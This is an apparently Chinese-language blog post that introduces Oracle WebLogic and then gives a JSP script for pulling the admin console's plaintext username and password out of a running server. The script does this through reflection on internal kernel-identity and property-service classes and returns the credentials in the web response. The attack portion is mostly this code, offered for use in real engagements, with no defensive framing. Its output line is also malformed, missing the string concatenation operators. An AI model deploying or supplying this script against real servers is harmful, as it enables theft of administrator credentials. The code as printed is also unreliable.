WebLogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。
是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.3) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
复现过程
平时实战中遇上weblogic的站点时都是通过密钥进行解密获取console的密码,甚至解密方法就都有很多种。
目前出现新的方式可直接获取明文,测试效果:
代码细节:
脚本实现:
代码语言:javascript复制<%@page import="java.lang.reflect.Field" %>
<%@page import="java.lang.reflect.Method" %>
<%
/**
* 公众号:小生观察室
*/
try{
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class httpDataTransferHandler = classLoader.loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler");
Class managementService = classLoader.loadClass("weblogic.management.provider.ManagementService");
Class authenticatedSubject = classLoader.loadClass("weblogic.security.acl.internal.AuthenticatedSubject");
Class propertyService = classLoader.loadClass("weblogic.management.provider.PropertyService");
Field KERNE_ID = httpDataTransferHandler.getDeclaredField("KERNE_ID");
KERNE_ID.setAccessible(true);
Method getPropertyService = managementService.getMethod("getPropertyService",authenticatedSubject);
getPropertyService.setAccessible(true);
Object prop = getPropertyService.invoke((Object) null,KERNE_ID.get((Object) null));
Method getTimestamp1 = propertyService.getMethod("getTimestamp1");
getTimestamp1.setAccessible(true);
Method getTimestamp2 = propertyService.getMethod("getTimestamp2");
getTimestamp2.setAccessible(true);
String username = (String) getTimestamp1.invoke(prop);
String password = (String) getTimestamp2.invoke(prop);
response.getWriter().write( username "/" password);
}catch (Exception e) {
e.printStackTrace();
}
%>